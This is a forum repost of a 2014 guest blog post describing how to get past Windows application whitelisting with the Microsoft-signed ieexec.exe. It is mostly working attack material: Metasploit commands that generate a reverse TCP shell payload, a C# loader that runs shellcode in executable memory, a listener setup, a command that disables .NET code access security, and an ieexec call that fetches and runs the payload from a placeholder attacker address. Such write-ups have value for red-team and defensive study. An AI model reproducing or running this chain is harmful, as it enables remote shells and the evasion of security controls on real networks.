Active Members Fi8sVrs Posted February 16, 2014 Active Members Report Posted February 16, 2014 Guest post by @infosecsmith2There was a recent presentation at DerbyCon, entitled: by Christopher Campbell & Matthew GraeberI highly recommend that you start with this presentation as it lays the foundation for this post.The premise is, how can we maintain persistence in a corporate environment, using tools and defaults provided by the host OS we have compromised. This is a very important concept, given the shift in many organizations to an Application Whitelisting Defense model.It is only a matter of time before time before you might encounter an Application Whitelisting Defense.As a follow up to that presentation, I began exploring the binaries that ship by default with Windows. That is where I stumbled across a binary in the C:\Windows\Microsoft.NET\Framework64\v2.0.50727 path.The Executable is ieexec.exe. A write up is here: How to debug managed-client applications that are started by using a URL in Visual Studio .NET or in Visual Studio 2005“The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.”Excellent! So, now we just need to host our malicious binary , and call it from ieexec.exe.This is great, since most Application Whitelisting Environments are going to “Trust” anything signed my Microsoft as a matter of convenience. IEexec.exe will download and execute our code for us, all under the trusted process.So lets get started!Step 1. Prepare your Shellcode, or whatever malicious app you want. I compiled my executable using SharpDevelop, since it has less footprint than a full blown Visual Studio install. From msfconsole:msf > use windows/x64/shell/reverse_tcpmsf payload(reverse_tcp) > set LHOST x.x.x.xmsf payload(reverse_tcp) > set LPORT 443msf payload(reverse_tcp) > generate -t csharp?byte[] buf = new byte[422] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52... <Snipped Full ShellCode for Brevity>Step 2. Create the .NET wrapper applicationusing System;using System.Runtime.InteropServices;namespace native{ class Program { private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; private static UInt32 MEM_RELEASE = 0x8000; public static void Main(string[] args) { // native function's compiled code byte[] proc = new byte[] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52... //Edited ShellCode For Brevity }; UInt32 funcAddr = VirtualAlloc(0, (UInt32)proc.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(proc, 0, (IntPtr)(funcAddr), proc.Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; // prepare data PROCESSOR_INFO info = new PROCESSOR_INFO(); IntPtr pinfo = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(PROCESSOR_INFO))); Marshal.StructureToPtr(info, pinfo, false); // execute native code hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); // retrive data info = (PROCESSOR_INFO)Marshal.PtrToStructure(pinfo, typeof(PROCESSOR_INFO)); Marshal.FreeHGlobal(pinfo); CloseHandle(hThread); VirtualFree((IntPtr)funcAddr, 0, MEM_RELEASE); } [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32")] private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType); [DllImport("kernel32")] private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId ); [DllImport("kernel32")] private static extern bool CloseHandle(IntPtr handle); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds ); [DllImport("kernel32")] private static extern IntPtr GetModuleHandle( string moduleName ); [DllImport("kernel32")] private static extern UInt32 GetProcAddress( IntPtr hModule, string procName ); [DllImport("kernel32")] private static extern UInt32 LoadLibrary( string lpFileName ); [DllImport("kernel32")] private static extern UInt32 GetLastError(); [StructLayout(LayoutKind.Sequential)] internal struct PROCESSOR_INFO { public UInt32 dwMax; public UInt32 id0; public UInt32 id1; public UInt32 id2; public UInt32 dwStandard; public UInt32 dwFeature; // if AMD public UInt32 dwExt; } }}You will want to compile the exe for the target platform. In this case I am going for an x64 target. Also, you will want to compile for 2.0 or 3.5 Framework.Step 3. Host the Exe. For this example, I used Mongoose. Simple and Effective:mongoose - Mongoose - easy to use web server - Google Project HostingBy default Mongoose listens on port 8080. This is configurable. Simple place your compiled binary from step 2 into the same directory as Mongoose. Start Mongoose and you are almost ready to deliver your payload.Step 4. Setup your receiver:msf payload(reverse_tcp) > use exploit/multi/handlermsf exploit(handler) > set LHOST x.x.x.xmsf exploit(handler) > set LPORT 443msf exploit(handler) > set PAYLOAD windows/x64/shell/reverse_tcpmsf exploit(handler) > exploit -jStep 5. From the host that is protected via Whitelisting. Open 2 Command Prompts as administrator.CMD 1 Execute::\Windows\Microsoft.NET\Framework64\v2.0.50727>caspol.exe -s offCMD 2 Execute:C:\Windows\Microsoft.NET\Framework64\v2.0.50727>ieexec.exe http://x.x.x.x:8080/bypass.exeThere is some detail to unpack here, I can go over later, as to why we need to run caspol.exe. Here’s the behavior I saw in our experimentation with this.Initial attempt to run our rogue binary fails, since it is unknown/untrusted/unapproved:Now, on the same host…Executes just fine!Its important to distinguish what this technique is and what it is not. This is not an exploit or vulnerability. Rather this is one way to execute arbitraty code in an Application Whitelisting Environment.Summary:In this document we learned that even if a host is in a mode where only trusted approved applications can run. IEexec.exe can be used in certain situations to circumvent a Whitelist, since it is likely a trusted binary, since it is signed by Microsoft.Cheers,=> @infosecsmith2Source 1 Quote